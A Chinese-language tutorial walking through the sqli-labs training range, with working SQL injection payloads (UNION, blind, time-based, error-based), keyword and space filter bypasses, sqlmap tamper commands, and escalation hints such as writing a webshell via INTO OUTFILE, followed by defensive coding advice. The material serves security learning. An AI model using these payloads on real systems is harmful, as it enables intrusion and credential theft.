1. 从“Hello, World”到实战：为什么选择sqli-labs作为SQL注入第一课

如果你刚开始接触网络安全，尤其是Web安全，那么“SQL注入”这个词对你来说，可能既熟悉又陌生。熟悉是因为它几乎出现在所有安全漏洞榜单的前列，是每个安全工程师的必修课；陌生则是因为，当你真正想动手实践时，面对一个真实的、复杂的网站，往往无从下手，不知道从哪里注入，也不知道注入后能干什么。这种感觉，就像拿到了驾照却不敢上路一样。

我刚开始学的时候也这样，看了很多理论，知道有“单引号闭合”、“union查询”、“盲注”这些概念，但一到实操就懵圈。直到我遇到了sqli-labs这个靶场。它不是最炫酷的，也不是最新的，但它绝对是最经典、最体系化的SQL注入学习平台。你可以把它理解为SQL注入领域的“LeetCode”，从最简单的GET型注入，到需要绕过多重过滤的复杂场景，它为你设计好了65个由浅入深的关卡。通过它，你不仅能学会“怎么注”，更能理解“为什么能注”，以及“遇到防御时该怎么绕”。

网上有很多通关笔记，但大多只给出了答案。这篇笔记的不同之处在于，我会带你一起“解题”，重点不是记住那个最终的payload，而是还原整个思考过程：我是如何判断注入点的？为什么选择这种注入方式？遇到报错或没回显时，我的排查思路是什么？这些实战中的“肌肉记忆”，才是从入门到进阶的关键。我们不会只停留在Less-1，而是会挑选最具代表性的关卡，拆解其核心原理和绕过技巧，让你能举一反三，应对更真实的场景。

2. 环境搭建与基础认知：你的第一个注入点

在开始“打怪升级”之前，我们得先把“战场”准备好。sqli-labs基于PHP和MySQL，搭建过程非常简单。

2.1 快速搭建你的专属训练场

我推荐使用集成环境，比如XAMPP或PHPStudy（小皮面板），它们能一键安装Apache、PHP和MySQL。以PHPStudy为例，下载安装后，将下载的sqli-labs源码包解压到其WWW目录下（例如D:\phpstudy_pro\WWW\sqli-labs）。然后，你需要修改一下数据库连接配置。找到sqli-labs/sql-connections目录下的db-creds.inc文件，用记事本打开，将数据库密码修改为你本地MySQL的密码（PHPStudy默认密码通常是root）。

<?php //give your mysql connection username and password $dbuser ='root'; $dbpass ='root'; // 修改为你的MySQL密码 $dbname ="security"; $host = 'localhost'; $dbname1 = "challenges"; ?>

接着，在浏览器访问http://localhost/sqli-labs/，点击页面上的“Setup/reset Database for labs”链接。如果一切顺利，你会看到创建数据库成功的提示。这时，你的靶场就准备好了。

注意：很多新手卡在这一步，问题往往出在数据库密码错误或端口冲突。如果遇到问题，首先检查PHPStudy的MySQL服务是否启动（亮绿灯），然后确认db-creds.inc中的密码与PHPStudy管理界面显示的MySQL密码完全一致。端口冲突（比如80端口被占用）可能导致Apache启动失败，可以在PHPStudy的设置中修改Apache的监听端口。

2.2 理解靶场的核心：数据库与关卡设计

搭建完成后，我们来看看这个靶场是怎么设计的。它创建了一个名为security的数据库，里面有一张核心的用户表users，表结构很简单：

CREATE TABLE `users` ( `id` int(3) NOT NULL AUTO_INCREMENT, `username` varchar(20) NOT NULL, `password` varchar(20) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8;

表里预置了十几条数据，像Dumb,Angelina,Dummy等。我们所有的注入练习，目标都是通过前端的输入，以非预期的方式操作这个数据库，最终获取到这些数据。

关卡（Less-1, Less-2...）的本质，是后端PHP代码对用户输入的处理方式不同。比如Less-1可能是$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";， 而Less-2可能是$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";。一个用了单引号包裹，一个没有。这细微的差别，就决定了我们注入时闭合方式的不同。理解每一关的代码逻辑（即使不看源码，通过报错信息也能推断），是通关的第一步。

3. 入门四式：掌握SQL注入的基本攻击模式

sqli-labs的前10关，系统地涵盖了SQL注入的四种基本类型：基于错误的注入、基于布尔的盲注、基于时间的盲注以及联合查询注入。我们逐一拆解。

3.1 第一式：基于错误的注入——让数据库“说真话”

代表关卡：Less-1

这是大多数人的起点。页面有一个GET参数?id=1，显示对应用户名和密码。我们的攻击思路是：通过构造输入，引发数据库语法错误，从而从错误信息中获取数据库结构信息。

第一步永远是探测注入点。输入?id=1'（在数字1后加一个单引号）。如果页面返回了数据库的报错信息，例如：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1恭喜你，注入点存在！这个报错信息极其珍贵。它告诉我们，我们输入的单引号破坏了原SQL语句的闭合。原语句大概是SELECT ... WHERE id='1' LIMIT 0,1，我们输入1'后，语句变成了WHERE id='1'' LIMIT ...，多了一个单引号导致语法错误。

第二步，判断列数。这是为后续的联合查询（UNION）做准备。使用ORDER BY子句。输入?id=1' ORDER BY 3--+。ORDER BY 3表示按第三列排序。如果页面正常显示，说明查询结果的列数至少为3列。我们逐渐增加数字，ORDER BY 4--+，如果此时页面报错或异常，则说明查询结果只有3列。这里的--+是注释符（--空格），+在URL中代表空格，用于注释掉后面原有的SQL代码（比如LIMIT 0,1），避免干扰。

第三步，联合查询获取数据。知道了列数（例如3列），我们就可以使用UNION操作符，将我们想查询的数据“拼接”到原查询结果中。输入：?id=-1' UNION SELECT 1,2,3--+这里把id设为-1（一个不存在的值），是为了让原查询结果为空，从而页面直接显示我们UNION SELECT的结果。如果页面某处显示了数字“2”和“3”，说明这两个位置可以回显数据。

第四步，获取数据库信息。将可回显位置替换为数据库函数。例如：?id=-1' UNION SELECT 1, database(), version()--+页面就会显示当前数据库名（security）和MySQL版本号。进而，我们可以查询information_schema这个系统数据库来获取所有表名、列名：?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+最后，爆出数据：?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM users--+

实操心得：group_concat()函数在这里非常关键，它能把多行结果合并成一个字符串返回，避免了一次只能显示一行的限制。但要注意，group_concat有长度限制（默认1024字节），如果数据太多可能被截断。此时可以改用limit子句分批次查询，例如limit 0,1、limit 1,1。

3.2 第二式：基于布尔的盲注——与数据库的“是或否”游戏

代表关卡：Less-8

这一关，无论输入什么，页面都只有一种“You are in...”的提示，没有具体数据回显，也没有详细的报错信息。这就是“盲注”。我们只能通过页面是否正常显示（布尔状态）来推断信息。这就像玩一个猜数字游戏，你只能问“比5大吗？”，对方回答“是”或“否”。

攻击依赖于length()、substr()和ascii()等函数，逐位猜解。目标是猜出数据库名的第一个字符是什么。

1. 猜数据库名长度：?id=1' AND length(database())=8--+。如果页面正常显示，说明数据库名长度为8，否则调整数字继续试。
2. 猜第一个字符的ASCII码：?id=1' AND ascii(substr(database(),1,1))>100--+。如果页面正常，说明ASCII码大于100。然后通过二分法（>150? >125? ...）快速缩小范围，最终确定字符的ASCII码，再转换为字符（例如115对应字母‘s’）。
3. 重复这个过程，substr(database(),2,1)猜第二个字符，直到猜出完整库名“security”。
4. 用同样的方法，去猜表名、列名、数据。公式为：?id=1' AND ascii(substr((SELECT查询语句), 第几位, 1))>某个ASCII值--+

这个过程极其繁琐，必须借助工具。Sqlmap就是为此而生的。但作为学习，手动体验这个过程（哪怕只猜几个字符）至关重要，它能让你深刻理解盲注的原理和自动化工具背后的逻辑。

3.3 第三式：基于时间的盲注——当“是或否”也失效时

代表关卡：Less-9

这一关更“绝”，无论你的SQL语句是真是假，页面返回都一样，布尔盲注也失效了。此时，我们引入“时间”这个维度。通过让数据库执行一个耗时的操作，并根据页面响应时间的长短来判断条件真假。

核心函数是sleep()。例如：?id=1' AND if(ascii(substr(database(),1,1))>100, sleep(5), 0)--+这条语句的意思是：如果数据库名第一个字符的ASCII码大于100，就让数据库睡眠5秒再响应；否则立即响应。我们通过浏览器的开发者工具（Network标签页）观察请求的响应时间（Time），如果明显超过5秒，则条件为真。

时间盲注比布尔盲注更慢、更依赖网络稳定性，但它是最后的手段。手动操作几乎不可能，必须依赖Sqlmap等工具的--technique=T参数。

3.4 第四式：联合查询注入的变体——数字型与搜索型

代表关卡：Less-2 (数字型), Less-5 (双查询注入)

Less-2是数字型注入，闭合方式更简单。探测时输入?id=1 and 1=2--+，如果页面内容消失（因为1=2为假），则证明注入存在。其SQL语句原型可能是WHERE id=$id，无需处理引号，直接构造UNION即可。

Less-5是一个经典变种，它没有数据显示位，但有关键的报错信息。这引入了“报错注入”的高级技巧。利用数据库的一些函数在特定条件下会产生报错，并将我们想要的数据携带在报错信息中。例如使用extractvalue()或updatexml()函数：?id=1' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))--+extractvalue()函数用于解析XML数据，我们故意给它一个错误的XML路径格式（~database_name~），它会报错，并将这个“错误路径”信息返回给我们，其中就包含了我们查询的数据库名。0x7e是波浪号~的十六进制，用作分隔符。

4. 进阶绕过：当你的注入遇到“防火墙”

从Less-20左右开始，sqli-labs开始引入各种过滤和防御机制，这才是实战的常态。你的注入语句可能会被拦截、转义或过滤。这时，就需要一些“花式”绕过技巧。

4.1 绕过关键字过滤：编码与混淆

假设关卡过滤了SELECT、UNION、WHERE等关键字。最简单的绕过方法是大小写混合（SeLeCt），但很多WAF（Web应用防火墙）已经能识别。更有效的方法包括：

• 双写关键字：SELSELECTECT。如果过滤逻辑是简单地删除SELECT这个单词，那么删除后剩下的字符会重新组合成SELECT。
• 内联注释：/*!SELECT*/。在MySQL中，/*!...*/中的内容会被当作正常SQL执行，但一些简单的过滤可能无法识别。
• 等价替换：不用UNION SELECT，而用UNION ALL SELECT。AND可以用&&替换，OR可以用||替换（在MySQL中需要设置模式）。
• Hex编码：将关键字或字符串转换成十六进制。例如，SELECT可以写成0x53454c454354，但这种方式通常用于字符串值，而非关键字本身。对于表名或列名，可以用Hex：SELECT column FROM 0x7461626c65（0x7461626c65是‘table’的Hex）。

4.2 绕过引号限制：无引号注入

有时，单引号、双引号被转义（\'）或过滤了，我们无法用于闭合字符串。这时可以利用数字、布尔表达式或MySQL的特性。

• 利用数字型字段：如果注入点是数字型（如id），则无需引号。
• 利用十六进制：如上所述，将字符串值转为Hex，例如WHERE username=0x61646d696e（admin）。
• 利用CHAR()函数：CHAR(97, 100, 109, 105, 110)可以构造出字符串 ‘admin’。
• 盲注中的利用：在布尔盲注中，substr()的参数可以用from 1 for 1代替(...,1,1)，有时可以绕过对括号的过滤。

4.3 绕过空格过滤：用其他空白符代替

空格被过滤，会导致SQL语句无法正确解析。替代方案有：

• 注释符代替：/**/。SELECT/**/username/**/FROM/**/users。
• Tab键（%09）：URL编码中的%09。
• 换行符（%0a, %0d）。
• 括号：在特定情况下，括号可以用来包裹参数，甚至代替空格定义优先级，但这需要较高的技巧和对SQL语法的深刻理解。

4.4 实战案例：Less-25（过滤OR和AND）

这一关过滤了OR和AND（不区分大小写）。我们的注入点依然在id参数。思路是使用等价符号或函数绕过。

• AND可以用&&代替。
• OR可以用||代替（注意，在MySQL中默认可能不将||视为逻辑或，而是字符串连接符，取决于PIPES_AS_CONCAT模式，但在此靶场通常可用）。
• 也可以双写绕过：OORr，过滤掉中间的OR后，剩下的Or在MySQL中执行时是不区分大小写的，依然有效。 构造Payload：?id=1' || '1'='1'--+，这相当于id='1' OR '1'='1'，永真条件，会返回所有数据。

5. 工具赋能：从手动到自动的必经之路

手动注入是理解原理的基石，但实战中效率太低。Sqlmap是每个安全测试者的必备神器。但我不建议一开始就依赖它。我的学习路径是：先手动打通前20关，理解每一种注入的原理和Payload构造逻辑，然后再用Sqlmap去验证和加速后续关卡。

5.1 如何用Sqlmap高效通关

以Less-1（基于错误的联合查询注入）为例，最基本的命令是：sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --batch-u指定目标URL，--batch表示以非交互模式运行，自动选择默认选项。Sqlmap会自动探测注入点类型、数据库类型，并尝试多种攻击技术。

对于盲注关卡（如Less-8），需要指定技术：sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --technique=B --batch--technique=B指定使用布尔盲注。

对于有过滤的关卡，Sqlmap的tamper脚本是神器。例如Less-25过滤了OR/AND，我们可以使用内置的tamper脚本：sqlmap -u "http://localhost/sqli-labs/Less-25/?id=1" --tamper=space2comment --batchspace2comment会将空格替换为注释符/**/。Sqlmap有数十个tamper脚本，用于应对各种过滤场景（如charencode,halfversionedmorekeywords,apostrophemask等）。

5.2 理解Sqlmap的输出与风险

使用Sqlmap时，务必关注其输出信息。它会告诉你：

• 注入参数（id）
• 注入类型（boolean-based blind, error-based, UNION query）
• 后端数据库（MySQL）
• 当前用户、当前数据库
• 以及最终爆出的数据。

重要警告：绝对不要在未经授权的真实网站或系统上使用Sqlmap或其他攻击工具。这不仅是违法行为，还可能对目标系统造成严重破坏。sqli-labs这类靶场的存在，就是为了在合法、安全的环境下进行练习。你的所有测试行为，必须严格限定在你自己搭建的本地环境或明确授权的演练平台上。

6. 从靶场到实战：思维模式的转变

通关sqli-labs，并不意味着你就能立刻在真实网络中无往不利。靶场是理想化的，而实战是混沌的。你需要完成以下几个思维模式的转变：

1. 从“有注入点”到“寻找注入点”：靶场会明确告诉你参数是id。实战中，你需要对每一个用户可控的输入点进行测试：URL参数、表单字段、Cookie、HTTP头（如X-Forwarded-For）。工具如Burp Suite的Scanner能帮你自动化探测，但手动测试的意识不可或缺。

2. 从“直接回显”到“间接利用”：实战中，像Less-1那样直接显示数据库数据的场景极少。更多是盲注，甚至是“二阶注入”（输入先被存储，后来才被拼接到SQL语句中执行）。你需要更耐心，更依赖时间盲注和基于错误的注入技巧。

3. 从“绕过简单过滤”到“对抗WAF/IPS”：真实企业环境往往部署了WAF（Web应用防火墙）或IPS（入侵防御系统）。它们有更复杂的规则集，能识别编码混淆、检测异常请求频率等。绕过它们需要更深入的研究，比如利用HTTP参数污染（HPP）、分块传输编码、畸形请求报文等技巧，这已经超出了基础SQL注入的范畴。

4. 从“获取数据”到“扩大战果”：在靶场里，你的目标通常是爆出users表。在实战中（仅限授权测试），获取数据库权限后，你可能要进一步思考：能否通过LOAD_FILE()读取服务器文件？能否通过INTO OUTFILE写入Webshell？数据库用户是否有FILE_权限？能否通过数据库提权到操作系统？这是一个完整的攻击链思维。

7. 防御视角：如何写出“免疫”SQL注入的代码

学攻击是为了更好的防御。理解了所有攻击手法后，你应该立刻明白如何防御。

1. 预编译语句（参数化查询）——黄金法则这是唯一从根本上杜绝SQL注入的方法。原理是将SQL语句的结构（哪里是命令，哪里是表名，哪里是条件）与数据（用户输入的值）分开。数据库引擎会先编译SQL结构，再将用户输入作为纯数据处理，无论输入中包含什么SQL关键字，都不会改变原语句的结构。

• PHP (PDO):

  $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute(['id' => $id]); $results = $stmt->fetchAll();

• Java (MyBatis)：务必使用#{}，而非${}。#{}是预编译占位符，而${}是字符串拼接，存在注入风险。这也是为什么“mybatis 动态sql 使用${}”会成为搜索热词，因为它是一个常见的高风险用法。

2. 输入验证与过滤——白银辅助对输入进行严格的类型、格式、长度检查。例如，id参数预期是整数，那就用intval()或filter_var($id, FILTER_VALIDATE_INT)强制转换和验证。对于字符串，定义允许的字符白名单（如只允许字母数字），比定义黑名单（禁止单引号等）更有效。

3. 最小权限原则为数据库连接账户分配最小的必要权限。查询操作只用SELECT权限，绝对不要用root或拥有FILE_、PROCESS、SUPER等高级权限的账户连接Web应用。这样即使发生注入，攻击者能造成的破坏也有限。

4. 错误信息处理像sqli-labs的Less-1那样详细的错误信息，是攻击者的“指路明灯”。生产环境必须关闭数据库错误回显，使用自定义的统一错误页面，记录错误日志到后端文件，而非展示给用户。

5. 使用Web应用防火墙（WAF）作为最后一道防线，WAF可以拦截已知的攻击模式。但它不是银弹，可能存在绕过方法。安全的核心始终在于应用代码本身。

通关sqli-labs，只是一个开始。它为你打下了坚实的SQL注入基础，建立了从探测、利用到绕过的完整知识框架。但网络安全领域浩瀚如海，在SQL注入之后，还有XSS、CSRF、文件上传、反序列化、逻辑漏洞等无数山峰等待攀登。保持好奇，持续练习，永远在合法的靶场中锤炼你的技艺，这才是通往一名合格安全研究者的正道。记住，你的技能是一把剑，剑锋所向，应是守护，而非破坏。